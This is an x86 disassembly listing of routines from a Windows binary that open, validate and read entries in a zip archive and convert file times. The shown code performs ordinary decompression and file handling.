loc_42F77B: ; CODE XREF: sub_42F6BB+B7j
lea edx, [ebp+var_18]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F79A
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F7B2
; ---------------------------------------------------------------------------
loc_42F79A: ; CODE XREF: sub_42F6BB+D4j
cmp [ebp+var_4], 0
jnz short loc_42F7B2
mov edx, [ebp+arg_0]
mov eax, [ebp+var_18]
cmp eax, [edx+34h]
jz short loc_42F7B2
mov [ebp+var_4], 0FFFFFF99h
loc_42F7B2: ; CODE XREF: sub_42F6BB+DDj
; sub_42F6BB+E3j ...
cmp [ebp+var_4], 0
jnz short loc_42F7D1
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+34h], 0
jz short loc_42F7D1
mov edx, [ebp+arg_0]
cmp dword ptr [edx+34h], 8
jz short loc_42F7D1
mov [ebp+var_4], 0FFFFFF99h
loc_42F7D1: ; CODE XREF: sub_42F6BB+FBj
; sub_42F6BB+104j ...
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F7EE
mov [ebp+var_4], 0FFFFFFFFh
loc_42F7EE: ; CODE XREF: sub_42F6BB+12Aj
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F80D
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F82F
; ---------------------------------------------------------------------------
loc_42F80D: ; CODE XREF: sub_42F6BB+147j
cmp [ebp+var_4], 0
jnz short loc_42F82F
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
cmp ecx, [eax+3Ch]
jz short loc_42F82F
mov edx, [ebp+var_14]
and edx, 8
test edx, edx
jnz short loc_42F82F
mov [ebp+var_4], 0FFFFFF99h
loc_42F82F: ; CODE XREF: sub_42F6BB+150j
; sub_42F6BB+156j ...
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F84E
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F870
; ---------------------------------------------------------------------------
loc_42F84E: ; CODE XREF: sub_42F6BB+188j
cmp [ebp+var_4], 0
jnz short loc_42F870
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
cmp ecx, [eax+40h]
jz short loc_42F870
mov edx, [ebp+var_14]
and edx, 8
test edx, edx
jnz short loc_42F870
mov [ebp+var_4], 0FFFFFF99h
loc_42F870: ; CODE XREF: sub_42F6BB+191j
; sub_42F6BB+197j ...
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F88F
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F8B1
; ---------------------------------------------------------------------------
loc_42F88F: ; CODE XREF: sub_42F6BB+1C9j
cmp [ebp+var_4], 0
jnz short loc_42F8B1
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
cmp ecx, [eax+44h]
jz short loc_42F8B1
mov edx, [ebp+var_14]
and edx, 8
test edx, edx
jnz short loc_42F8B1
mov [ebp+var_4], 0FFFFFF99h
loc_42F8B1: ; CODE XREF: sub_42F6BB+1D2j
; sub_42F6BB+1D8j ...
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F8D0
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F8E8
; ---------------------------------------------------------------------------
loc_42F8D0: ; CODE XREF: sub_42F6BB+20Aj
cmp [ebp+var_4], 0
jnz short loc_42F8E8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
cmp ecx, [eax+48h]
jz short loc_42F8E8
mov [ebp+var_4], 0FFFFFF99h
loc_42F8E8: ; CODE XREF: sub_42F6BB+213j
; sub_42F6BB+219j ...
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [ecx], eax
lea edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F912
mov [ebp+var_4], 0FFFFFFFFh
loc_42F912: ; CODE XREF: sub_42F6BB+24Ej
mov edx, [ebp+arg_0]
mov eax, [edx+78h]
mov ecx, [ebp+var_C]
lea edx, [eax+ecx+1Eh]
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_8]
mov [ecx], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
mov [edx], ecx
mov eax, [ebp+var_4]
loc_42F93C: ; CODE XREF: sub_42F6BB+4Cj
mov esp, ebp
pop ebp
retn
sub_42F6BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F940 proc near ; CODE XREF: sub_430A42+DEp
; sub_430A42+3D8p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
cmp [ebp+arg_0], 0
jnz short loc_42F956
mov eax, 0FFFFFF9Ah
jmp loc_42FAFE
; ---------------------------------------------------------------------------
loc_42F956: ; CODE XREF: sub_42F940+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+18h], 0
jnz short loc_42F96F
mov eax, 0FFFFFF9Ah
jmp loc_42FAFE
; ---------------------------------------------------------------------------
loc_42F96F: ; CODE XREF: sub_42F940+23j
mov edx, [ebp+var_C]
cmp dword ptr [edx+7Ch], 0
jz short loc_42F984
mov eax, [ebp+arg_0]
push eax
call sub_42FF37
add esp, 4
loc_42F984: ; CODE XREF: sub_42F940+36j
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_42F6BB
add esp, 10h
test eax, eax
jz short loc_42F9AA
mov eax, 0FFFFFF99h
jmp loc_42FAFE
; ---------------------------------------------------------------------------
loc_42F9AA: ; CODE XREF: sub_42F940+5Ej
push 6Ch
call dword_4331C8 ; malloc
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42F9C8
mov eax, 0FFFFFF98h
jmp loc_42FAFE
; ---------------------------------------------------------------------------
loc_42F9C8: ; CODE XREF: sub_42F940+7Cj
push 4000h
call dword_4331C8 ; malloc
add esp, 4
mov edx, [ebp+var_8]
mov [edx], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov [eax+44h], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_10]
mov [edx+48h], eax
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4Ch], 0
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz short loc_42FA1C
cmp [ebp+var_8], 0
jz short loc_42FA12
mov eax, [ebp+var_8]
push eax
call dword_4331D4 ; free
add esp, 4
loc_42FA12: ; CODE XREF: sub_42F940+C3j
mov eax, 0FFFFFF98h
jmp loc_42FAFE
; ---------------------------------------------------------------------------
loc_42FA1C: ; CODE XREF: sub_42F940+BDj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+40h], 0
mov ecx, [ebp+var_C]
xor edx, edx
cmp dword ptr [ecx+34h], 0
setz dl
mov [ebp+var_14], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+3Ch]
mov [eax+54h], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+50h], 0
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+34h]
mov [ecx+64h], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx]
mov [ecx+60h], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
mov [ecx+68h], eax
mov ecx, [ebp+var_8]
mov dword ptr [ecx+18h], 0
cmp [ebp+var_14], 0
jnz short loc_42FABE
mov edx, [ebp+var_8]
mov dword ptr [edx+24h], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+28h], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx+2Ch], 0
mov edx, [ebp+var_8]
add edx, 4
push edx
call sub_42DD45
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42FABE
mov eax, [ebp+var_8]
mov dword ptr [eax+40h], 1
loc_42FABE: ; CODE XREF: sub_42F940+13Cj
; sub_42F940+172j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+40h]
mov [ecx+58h], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+44h]
mov [ecx+5Ch], eax
mov ecx, [ebp+var_C]
mov edx, [ecx+78h]
mov eax, [ebp+var_18]
lea ecx, [edx+eax+1Eh]
mov edx, [ebp+var_8]
mov [edx+3Ch], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov [ecx+7Ch], edx
xor eax, eax
loc_42FAFE: ; CODE XREF: sub_42F940+11j
; sub_42F940+2Aj ...
mov esp, ebp
pop ebp
retn
sub_42F940 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FB02 proc near ; CODE XREF: sub_430A42+103p
; sub_430A42+3FCp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push esi
mov [ebp+var_4], 0
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42FB2D
mov eax, 0FFFFFF9Ah
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FB2D: ; CODE XREF: sub_42FB02+1Fj
mov ecx, [ebp+var_C]
mov edx, [ecx+7Ch]
mov [ebp+var_8], edx
cmp [ebp+var_8], 0
jnz short loc_42FB46
mov eax, 0FFFFFF9Ah
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FB46: ; CODE XREF: sub_42FB02+38j
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jnz short loc_42FB58
mov eax, 0FFFFFF9Ch
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FB58: ; CODE XREF: sub_42FB02+4Aj
cmp [ebp+arg_8], 0
jnz short loc_42FB65
xor eax, eax
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FB65: ; CODE XREF: sub_42FB02+5Aj
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
mov [ecx+10h], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
mov [eax+14h], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+arg_8]
cmp eax, [edx+5Ch]
jbe short loc_42FB8E
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+5Ch]
mov [ecx+14h], eax
loc_42FB8E: ; CODE XREF: sub_42FB02+7Ej
; sub_42FB02:loc_42FDE1j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 0
jbe loc_42FDE6
mov edx, [ebp+var_8]
cmp dword ptr [edx+8], 0
jnz loc_42FC61
mov eax, [ebp+var_8]
cmp dword ptr [eax+58h], 0
jbe loc_42FC61
mov [ebp+var_14], 4000h
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
cmp edx, [ebp+var_14]
jnb short loc_42FBD0
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_14], ecx
loc_42FBD0: ; CODE XREF: sub_42FB02+C3j
cmp [ebp+var_14], 0
jnz short loc_42FBDD
xor eax, eax
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FBDD: ; CODE XREF: sub_42FB02+D2j
push 0
mov edx, [ebp+var_8]
mov eax, [edx+3Ch]
mov ecx, [ebp+var_8]
add eax, [ecx+68h]
push eax
mov edx, [ebp+var_8]
mov eax, [edx+60h]
push eax
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42FC07
or eax, 0FFFFFFFFh
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FC07: ; CODE XREF: sub_42FB02+FBj
mov ecx, [ebp+var_8]
mov edx, [ecx+60h]
push edx
push 1
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_42FC2F
or eax, 0FFFFFFFFh
jmp loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FC2F: ; CODE XREF: sub_42FB02+123j
mov eax, [ebp+var_8]
mov ecx, [eax+3Ch]
add ecx, [ebp+var_14]
mov edx, [ebp+var_8]
mov [edx+3Ch], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
sub ecx, [ebp+var_14]
mov edx, [ebp+var_8]
mov [edx+58h], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [eax+4], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_14]
mov [eax+8], ecx
loc_42FC61: ; CODE XREF: sub_42FB02+A0j
; sub_42FB02+ADj
mov edx, [ebp+var_8]
cmp dword ptr [edx+64h], 0
jnz loc_42FD4C
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax+14h]
cmp edx, [ecx+8]
jnb short loc_42FC87
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
mov [ebp+var_18], ecx
jmp short loc_42FC90
; ---------------------------------------------------------------------------
loc_42FC87: ; CODE XREF: sub_42FB02+178j
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ebp+var_18], eax
loc_42FC90: ; CODE XREF: sub_42FB02+183j
mov [ebp+var_1C], 0
jmp short loc_42FCA2
; ---------------------------------------------------------------------------
loc_42FC99: ; CODE XREF: sub_42FB02+1C0j
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_42FCA2: ; CODE XREF: sub_42FB02+195j
mov edx, [ebp+var_1C]
cmp edx, [ebp+var_18]
jnb short loc_42FCC4
mov eax, [ebp+var_8]
mov ecx, [eax+4]
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov edx, [ebp+var_1C]
mov esi, [ebp+var_1C]
mov cl, [ecx+esi]
mov [eax+edx], cl
jmp short loc_42FC99
; ---------------------------------------------------------------------------
loc_42FCC4: ; CODE XREF: sub_42FB02+1A6j
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+50h]
push eax
call sub_42D7C5
add esp, 0Ch
mov ecx, [ebp+var_8]
mov [ecx+50h], eax
mov edx, [ebp+var_8]
mov eax, [edx+5Ch]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+5Ch], eax
mov edx, [ebp+var_8]
mov eax, [edx+8]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+8], eax
mov edx, [ebp+var_8]
mov eax, [edx+14h]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+14h], eax
mov edx, [ebp+var_8]
mov eax, [edx+10h]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+10h], eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+4], eax
mov edx, [ebp+var_8]
mov eax, [edx+18h]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+18h], eax
mov edx, [ebp+var_10]
add edx, [ebp+var_18]
mov [ebp+var_10], edx
jmp loc_42FDE1
; ---------------------------------------------------------------------------
loc_42FD4C: ; CODE XREF: sub_42FB02+166j
mov [ebp+var_30], 2
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
mov [ebp+var_28], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_8]
add edx, 4
push edx
call sub_42DEC5
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
sub edx, [ebp+var_28]
mov [ebp+var_24], edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+50h]
push eax
call sub_42D7C5
add esp, 0Ch
mov ecx, [ebp+var_8]
mov [ecx+50h], eax
mov edx, [ebp+var_8]
mov eax, [edx+5Ch]
sub eax, [ebp+var_24]
mov ecx, [ebp+var_8]
mov [ecx+5Ch], eax
mov edx, [ebp+var_20]
sub edx, [ebp+var_28]
mov eax, [ebp+var_10]
add eax, edx
mov [ebp+var_10], eax
cmp [ebp+var_4], 1
jnz short loc_42FDD9
mov eax, [ebp+var_10]
neg eax
sbb eax, eax
and eax, [ebp+var_10]
jmp short loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FDD9: ; CODE XREF: sub_42FB02+2C9j
cmp [ebp+var_4], 0
jz short loc_42FDE1
jmp short loc_42FDE6
; ---------------------------------------------------------------------------
loc_42FDE1: ; CODE XREF: sub_42FB02+245j
; sub_42FB02+2DBj
jmp loc_42FB8E
; ---------------------------------------------------------------------------
loc_42FDE6: ; CODE XREF: sub_42FB02+93j
; sub_42FB02+2DDj
cmp [ebp+var_4], 0
jnz short loc_42FDF1
mov eax, [ebp+var_10]
jmp short loc_42FDF4
; ---------------------------------------------------------------------------
loc_42FDF1: ; CODE XREF: sub_42FB02+2E8j
mov eax, [ebp+var_4]
loc_42FDF4: ; CODE XREF: sub_42FB02+26j
; sub_42FB02+3Fj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_42FB02 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_42FE0C
mov eax, 0FFFFFF9Ah
jmp short loc_42FE2E
; ---------------------------------------------------------------------------
loc_42FE0C: ; CODE XREF: TEUm:0042FE03j
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jnz short loc_42FE28
mov eax, 0FFFFFF9Ah
jmp short loc_42FE2E
; ---------------------------------------------------------------------------
loc_42FE28: ; CODE XREF: TEUm:0042FE1Fj
mov eax, [ebp-4]
mov eax, [eax+18h]
loc_42FE2E: ; CODE XREF: TEUm:0042FE0Aj
; TEUm:0042FE26j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_42FE45
mov eax, 0FFFFFF9Ah
jmp short loc_42FE73
; ---------------------------------------------------------------------------
loc_42FE45: ; CODE XREF: TEUm:0042FE3Cj
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jnz short loc_42FE61
mov eax, 0FFFFFF9Ah
jmp short loc_42FE73
; ---------------------------------------------------------------------------
loc_42FE61: ; CODE XREF: TEUm:0042FE58j
mov eax, [ebp-4]
cmp dword ptr [eax+5Ch], 0
jnz short loc_42FE71
mov eax, 1
jmp short loc_42FE73
; ---------------------------------------------------------------------------
loc_42FE71: ; CODE XREF: TEUm:0042FE68j
xor eax, eax
loc_42FE73: ; CODE XREF: TEUm:0042FE43j
; TEUm:0042FE5Fj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
cmp dword ptr [ebp+8], 0
jnz short loc_42FE8D
mov eax, 0FFFFFF9Ah
jmp loc_42FF33
; ---------------------------------------------------------------------------
loc_42FE8D: ; CODE XREF: TEUm:0042FE81j
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jnz short loc_42FEAC
mov eax, 0FFFFFF9Ah
jmp loc_42FF33
; ---------------------------------------------------------------------------
loc_42FEAC: ; CODE XREF: TEUm:0042FEA0j
mov eax, [ebp-4]
mov ecx, [ebp-4]
mov edx, [eax+48h]
sub edx, [ecx+4Ch]
mov [ebp-0Ch], edx
cmp dword ptr [ebp+0Ch], 0
jnz short loc_42FEC6
mov eax, [ebp-0Ch]
jmp short loc_42FF33
; ---------------------------------------------------------------------------
loc_42FEC6: ; CODE XREF: TEUm:0042FEBFj
mov eax, [ebp+10h]
cmp eax, [ebp-0Ch]
jbe short loc_42FED6
mov ecx, [ebp-0Ch]
mov [ebp-10h], ecx
jmp short loc_42FEDC
; ---------------------------------------------------------------------------
loc_42FED6: ; CODE XREF: TEUm:0042FECCj
mov edx, [ebp+10h]
mov [ebp-10h], edx
loc_42FEDC: ; CODE XREF: TEUm:0042FED4j
cmp dword ptr [ebp-10h], 0
jnz short loc_42FEE6
xor eax, eax
jmp short loc_42FF33
; ---------------------------------------------------------------------------
loc_42FEE6: ; CODE XREF: TEUm:0042FEE0j
push 0
mov eax, [ebp-4]
mov ecx, [eax+44h]
mov edx, [ebp-4]
add ecx, [edx+4Ch]
push ecx
mov eax, [ebp-4]
mov ecx, [eax+60h]
push ecx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42FF0D
or eax, 0FFFFFFFFh
jmp short loc_42FF33
; ---------------------------------------------------------------------------
loc_42FF0D: ; CODE XREF: TEUm:0042FF06j
mov edx, [ebp-4]
mov eax, [edx+60h]
push eax
push 1
mov ecx, [ebp-0Ch]
push ecx
mov edx, [ebp+0Ch]
push edx
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_42FF30
or eax, 0FFFFFFFFh
jmp short loc_42FF33
; ---------------------------------------------------------------------------
loc_42FF30: ; CODE XREF: TEUm:0042FF29j
mov eax, [ebp-10h]
loc_42FF33: ; CODE XREF: TEUm:0042FE88j
; TEUm:0042FEA7j ...
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FF37 proc near ; CODE XREF: sub_42EF38+24p
; sub_42F940+3Cp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jnz short loc_42FF54
mov eax, 0FFFFFF9Ah
jmp loc_430002
; ---------------------------------------------------------------------------
loc_42FF54: ; CODE XREF: sub_42FF37+11j
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov edx, [ecx+7Ch]
mov [ebp+var_8], edx
cmp [ebp+var_8], 0
jnz short loc_42FF73
mov eax, 0FFFFFF9Ah
jmp loc_430002
; ---------------------------------------------------------------------------
loc_42FF73: ; CODE XREF: sub_42FF37+30j
mov eax, [ebp+var_8]
cmp dword ptr [eax+5Ch], 0
jnz short loc_42FF91
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx+50h]
cmp eax, [edx+54h]
jz short loc_42FF91
mov [ebp+var_4], 0FFFFFF97h
loc_42FF91: ; CODE XREF: sub_42FF37+43j
; sub_42FF37+51j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 0
jz short loc_42FFB7
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call dword_4331D4 ; free
add esp, 4
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
loc_42FFB7: ; CODE XREF: sub_42FF37+60j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+40h], 0
jz short loc_42FFD8
mov edx, [ebp+var_8]
add edx, 4
push edx
call sub_42DCDC
add esp, 4
loc_42FFD8: ; CODE XREF: sub_42FF37+90j
mov eax, [ebp+var_8]
mov dword ptr [eax+40h], 0
cmp [ebp+var_8], 0
jz short loc_42FFF5
mov ecx, [ebp+var_8]
push ecx
call dword_4331D4 ; free
add esp, 4
loc_42FFF5: ; CODE XREF: sub_42FF37+AFj
mov edx, [ebp+var_C]
mov dword ptr [edx+7Ch], 0
mov eax, [ebp+var_4]
loc_430002: ; CODE XREF: sub_42FF37+18j
; sub_42FF37+37j
mov esp, ebp
pop ebp
retn
sub_42FF37 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_43001C
mov eax, 0FFFFFF9Ah
jmp loc_4300AE
; ---------------------------------------------------------------------------
loc_43001C: ; CODE XREF: TEUm:00430010j
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp+10h]
mov [ebp-8], ecx
mov edx, [ebp-4]
mov eax, [ebp-8]
cmp eax, [edx+8]
jbe short loc_43003C
mov ecx, [ebp-4]
mov edx, [ecx+8]
mov [ebp-8], edx
loc_43003C: ; CODE XREF: TEUm:00430031j
push 0
mov eax, [ebp-4]
mov ecx, [eax+1Ch]
add ecx, 16h
push ecx
mov edx, [ebp-4]
mov eax, [edx]
push eax
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_43005F
or eax, 0FFFFFFFFh
jmp short loc_4300AE
; ---------------------------------------------------------------------------
loc_43005F: ; CODE XREF: TEUm:00430058j
cmp dword ptr [ebp-8], 0
jbe short loc_43008D
mov ecx, [ebp+0Ch]
mov byte ptr [ecx], 0
mov edx, [ebp-4]
mov eax, [edx]
push eax
push 1
mov ecx, [ebp-8]
push ecx
mov edx, [ebp+0Ch]
push edx
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_43008D
or eax, 0FFFFFFFFh
jmp short loc_4300AE
; ---------------------------------------------------------------------------
loc_43008D: ; CODE XREF: TEUm:00430063j
; TEUm:00430086j
cmp dword ptr [ebp+0Ch], 0
jz short loc_4300AB
mov eax, [ebp-4]
mov ecx, [ebp+10h]
cmp ecx, [eax+8]
jbe short loc_4300AB
mov edx, [ebp-4]
mov eax, [edx+8]
mov ecx, [ebp+0Ch]
mov byte ptr [ecx+eax], 0
loc_4300AB: ; CODE XREF: TEUm:00430091j
; TEUm:0043009Cj
mov eax, [ebp-8]
loc_4300AE: ; CODE XREF: TEUm:00430017j
; TEUm:0043005Dj ...
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4300B2 proc near ; CODE XREF: sub_4301DC+55Bp
; sub_4301DC+5B8p ...
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
lea eax, [ebp+arg_0]
push eax
call dword_433210 ; gmtime
add esp, 4
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov edx, [ecx+14h]
add edx, 76Ch
mov [ebp+var_1C], dx
mov eax, [ebp+var_C]
mov ecx, [eax+10h]
add ecx, 1
mov [ebp+var_1A], cx
mov edx, [ebp+var_C]
mov ax, [edx+0Ch]
mov [ebp+var_16], ax
mov ecx, [ebp+var_C]
mov dx, [ecx+8]
mov [ebp+var_14], dx
mov eax, [ebp+var_C]
mov cx, [eax+4]
mov [ebp+var_12], cx
mov edx, [ebp+var_C]
mov ax, [edx]
mov [ebp+var_10], ax
mov [ebp+var_E], 0
lea ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_1C]
push edx
call dword_433094 ; SystemTimeToFileTime
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4300B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43012E proc near ; CODE XREF: sub_43126B+6Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0
jnz short loc_430148
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jz short loc_430152
loc_430148: ; CODE XREF: sub_43012E+Fj
mov eax, 1000000h
jmp loc_4301D6
; ---------------------------------------------------------------------------
loc_430152: ; CODE XREF: sub_43012E+18j
mov edx, [ebp+var_10]
add edx, 138h
push edx
push 104h
call dword_43302C ; GetCurrentDirectoryA
push offset asc_4378E4 ; "\\"
mov eax, [ebp+var_10]
add eax, 138h
push eax
call sub_4318D0 ; strcat
